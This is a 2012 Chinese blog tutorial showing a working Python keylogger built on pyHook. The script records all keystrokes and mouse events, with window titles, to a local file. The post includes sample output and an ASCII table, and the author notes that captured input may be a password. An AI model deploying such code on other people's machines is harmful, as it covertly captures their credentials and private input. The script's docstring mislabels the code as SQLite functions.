您的位置:首页 > 编程语言 > Python开发

Python:监控键盘输入、鼠标操作,并将捕获到的信息记录到文件中

2012-03-01 23:36 796 查看
使用pyhook模块可以很快地完成键盘及鼠标事件捕获,此模块可从http://sourceforge.net/projects/pyhook/files/pyhook/1.5.1/下载,API手册:http://pyhook.sourceforge.net/doc_1.5.0/,网站上提供了个使用的例子,改写了下,将信息记录到文件中,本来想使用python的logging模块,但测试时发现,因为鼠标事件频率太高,导致写时报I/O错误的异常,所以使用了自己写文件记录日志的方式。

代码:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import pythoncom
import pyHook
import time

def onMouseEvent(event):
    "处理鼠标事件"
    fobj.writelines('-' * 20 + 'MouseEvent Begin' + '-' * 20 + '\n')
    fobj.writelines("Current Time:%s\n" % time.strftime("%a, %d %b %Y %H:%M:%S", time.gmtime()))
    fobj.writelines("MessageName:%s\n" % str(event.MessageName))
    fobj.writelines("Message:%d\n" % event.Message)
    fobj.writelines("Time_sec:%d\n" % event.Time)
    fobj.writelines("Window:%s\n" % str(event.Window))
    fobj.writelines("WindowName:%s\n" % str(event.WindowName))
    fobj.writelines("Position:%s\n" % str(event.Position))
    fobj.writelines('-' * 20 + 'MouseEvent End' + '-' * 20 + '\n')
    return True

def onKeyboardEvent(event): 
    "处理键盘事件"   
    fobj.writelines('-' * 20 + 'Keyboard Begin' + '-' * 20 + '\n')
    fobj.writelines("Current Time:%s\n" % time.strftime("%a, %d %b %Y %H:%M:%S", time.gmtime()))
    fobj.writelines("MessageName:%s\n" % str(event.MessageName))
    fobj.writelines("Message:%d\n" % event.Message)
    fobj.writelines("Time:%d\n" % event.Time)
    fobj.writelines("Window:%s\n" % str(event.Window))
    fobj.writelines("WindowName:%s\n" % str(event.WindowName))
    fobj.writelines("Ascii_code: %d\n" % event.Ascii)
    fobj.writelines("Ascii_char:%s\n" % chr(event.Ascii))
    fobj.writelines("Key:%s\n" % str(event.Key))
    fobj.writelines('-' * 20 + 'Keyboard End' + '-' * 20 + '\n')
    return True

if __name__ == "__main__": 
    '''
    Function:操作SQLITE3数据库函数
    Input:NONE
    Output: NONE
    author: socrates
    blog:http://blog.csdn.net/dyx1024
    date:2012-03-1
    '''  
        
    #打开日志文件
    file_name = "D:\\hook_log.txt"
    fobj = open(file_name,  'w')       

    #创建hook句柄
    hm = pyHook.HookManager()

    #监控键盘
    hm.KeyDown = onKeyboardEvent
    hm.HookKeyboard()

    #监控鼠标
    hm.MouseAll = onMouseEvent
    hm.HookMouse()
    
    #循环获取消息
    pythoncom.PumpMessages()
    
    #关闭日志文件
    fobj.close()


测试:
--------------------Keyboard Begin--------------------
Current Time:Thu, 01 Mar 2012 15:07:01
MessageName:key down
Message:256
Time:6376015
Window:66926
WindowName:淘宝网 - 淘我喜欢! - Windows Internet Explorer
Ascii_code: 103
Ascii_char:g
Key:G
--------------------Keyboard End--------------------
--------------------MouseEvent Begin--------------------
Current Time:Thu, 01 Mar 2012 15:07:01
MessageName:mouse move
Message:512
Time_sec:6376078
Window:132584
WindowName:None
Position:(724, 344)
--------------------MouseEvent End--------------------
--------------------MouseEvent Begin--------------------
Current Time:Thu, 01 Mar 2012 15:07:01
MessageName:mouse move
Message:512
Time_sec:6376109
Window:132584
WindowName:None
Position:(724, 344)
--------------------MouseEvent End--------------------
--------------------Keyboard Begin--------------------
Current Time:Thu, 01 Mar 2012 15:07:01
MessageName:key down
Message:256
Time:6376625
Window:66926
WindowName:淘宝网 - 淘我喜欢! - Windows Internet Explorer
Ascii_code: 111
Ascii_char:o
Key:O
--------------------Keyboard End--------------------
--------------------Keyboard Begin--------------------
Current Time:Thu, 01 Mar 2012 15:07:02
MessageName:key down
Message:256
Time:6376781
Window:66926
WindowName:淘宝网 - 淘我喜欢! - Windows Internet Explorer
Ascii_code: 111
Ascii_char:o
Key:O
--------------------Keyboard End--------------------
--------------------Keyboard Begin--------------------
Current Time:Thu, 01 Mar 2012 15:07:02
MessageName:key down
Message:256
Time:6377000
Window:66926
WindowName:淘宝网 - 淘我喜欢! - Windows Internet Explorer
Ascii_code: 103
Ascii_char:g
Key:G
--------------------Keyboard End--------------------
--------------------Keyboard Begin--------------------
Current Time:Thu, 01 Mar 2012 15:07:02
MessageName:key down
Message:256
Time:6377140
Window:66926
WindowName:淘宝网 - 淘我喜欢! - Windows Internet Explorer
Ascii_code: 108
Ascii_char:l
Key:L
--------------------Keyboard End--------------------
--------------------Keyboard Begin--------------------
Current Time:Thu, 01 Mar 2012 15:07:02
MessageName:key down
Message:256
Time:6377187
Window:66926
WindowName:淘宝网 - 淘我喜欢! - Windows Internet Explorer
Ascii_code: 101
Ascii_char:e
Key:E
--------------------Keyboard End--------------------
--------------------MouseEvent Begin--------------------
Current Time:Thu, 01 Mar 2012 15:07:07
MessageName:mouse move
Message:512
Time_sec:6382093
Window:132584
WindowName:None
Position:(725, 344)
--------------------MouseEvent End--------------------


由上面的记录可以看出,当时我通过IE上淘宝,并且输入了google这个单词,有可能这是商品名,用户名,或者密码,呵呵。

查看Ascii_char字段即可看出输入的字母。如果没有解析出来,可通过Ascii_code字段的值到ASCII表中查找即可。

附:

ASCII(American Standard Code for Information Interchange,美国信息互换标准代码,ASCⅡ)是基于拉丁字母的一套电脑编码系统。它主要用于显示现代英语和其他西欧语言。它是现今最通用的单字节编码系统,并等同于国际标准ISO/IEC 646。

  ASCII第一次以规范标准的型态发表是在1967年,最后一次更新则是在1986年,至今为止共定义了128个字符,其中33个字符无法显示(这是以现今操作系统为依归,但在DOS模式下可显示出一些诸如笑脸、扑克牌花式等8-bit符号),且这33个字符多数都已是陈废的控制字符,控制字符的用途主要是用来操控已经处理过的文字,在33个字符之外的是95个可显示的字符,包含用键盘敲下空白键所产生的空白字符也算1个可显示字符(显示为空白)。


ASCII控制字符

[thead]
[/thead]

二进制十进制十六进制缩写可以显示的表示法名称/意义
0000 0000000NUL空字符(Null)
0000 0001101SOH标题开始
0000 0010202STX本文开始
0000 0011303ETX本文结束
0000 0100404EOT传输结束
0000 0101505ENQ请求
0000 0110606ACK确认回应
0000 0111707BEL响铃
0000 1000808BS退格
0000 1001909HT水平定位符号
0000 1010100ALF换行键
0000 1011110BVT垂直定位符号
0000 1100120CFF换页键
0000 1101130DCR归位键
0000 1110140ESO取消变换(Shift out)
0000 1111150FSI启用变换(Shift in)
0001 00001610DLE跳出数据通讯
0001 00011711DC1设备控制一(XON 启用软件速度控制)
0001 00101812DC2设备控制二
0001 00111913DC3设备控制三(XOFF 停用软件速度控制)
0001 01002014DC4设备控制四
0001 01012115NAK确认失败回应
0001 01102216SYN同步用暂停
0001 01112317ETB区块传输结束
0001 10002418CAN取消
0001 10012519EM连接介质中断
0001 1010261ASUB替换
0001 1011271BESC跳出
0001 1100281CFS文件分割符
0001 1101291DGS组群分隔符
0001 1110301ERS记录分隔符
0001 1111311FUS单元分隔符
0111 11111277FDEL删除


ASCII可显示字符

[thead]
[/thead]

二进制十进制十六进制图形
0010 00003220(空格)(␠)
0010 00013321!
0010 00103422"
0010 00113523#
0010 01003624$
0010 01013725%
0010 01103826&
0010 01113927'
0010 10004028(
0010 10014129)
0010 1010422A*
0010 1011432B+
0010 1100442C,
0010 1101452D-
0010 1110462E.
0010 1111472F/
0011 000048300
0011 000149311
0011 001050322
0011 001151333
0011 010052344
0011 010153355
0011 011054366
0011 011155377
0011 100056388
0011 100157399
0011 1010583A:
0011 1011593B;
0011 1100603C<
0011 1101613D=
0011 1110623E>
0011 1111633F?
[thead]
[/thead]

二进制十进制十六进制图形
0100 00006440@
0100 00016541A
0100 00106642B
0100 00116743C
0100 01006844D
0100 01016945E
0100 01107046F
0100 01117147G
0100 10007248H
0100 10017349I
0100 1010744AJ
0100 1011754BK
0100 1100764CL
0100 1101774DM
0100 1110784EN
0100 1111794FO
0101 00008050P
0101 00018151Q
0101 00108252R
0101 00118353S
0101 01008454T
0101 01018555U
0101 01108656V
0101 01118757W
0101 10008858X
0101 10018959Y
0101 1010905AZ
0101 1011915B[
0101 1100925C\
0101 1101935D]
0101 1110945E^
0101 1111955F_
[thead]
[/thead]

二进制十进制十六进制图形
0110 00009660`
0110 00019761a
0110 00109862b
0110 00119963c
0110 010010064d
0110 010110165e
0110 011010266f
0110 011110367g
0110 100010468h
0110 100110569i
0110 10101066Aj
0110 10111076Bk
0110 11001086Cl
0110 11011096Dm
0110 11101106En
0110 11111116Fo
0111 000011270p
0111 000111371q
0111 001011472r
0111 001111573s
0111 010011674t
0111 010111775u
0111 011011876v
0111 011111977w
0111 100012078x
0111 100112179y
0111 10101227Az
0111 10111237B{
0111 11001247C|
0111 11011257D}
0111 11101267E~
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: 
相关文章推荐